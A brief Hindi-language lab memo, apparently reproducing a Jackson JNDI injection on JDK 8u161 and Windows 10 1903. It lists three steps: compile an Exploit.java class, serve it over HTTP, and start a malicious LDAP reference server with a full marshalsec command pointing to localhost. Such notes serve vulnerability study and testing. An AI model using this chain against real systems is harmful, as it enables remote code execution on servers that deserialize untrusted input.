
jackson jndi इंजेक्शन
jdk 8u161
windows10 1903
1. एक java फ़ाइल बनाएँ जिसका नाम Exploit.java है, उसमें वह कोड डालें जिसे आप चलाना चाहते हैं, और इसे कम्पाइल करें।
2. python या अन्य टूल्स का उपयोग करके class फ़ाइल के उसी निर्देशिका में एक http सर्वर बनाएँ।
3. marshalsec का उपयोग करके एक ldap सर्वर बनाएँ: java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8080/#Exploit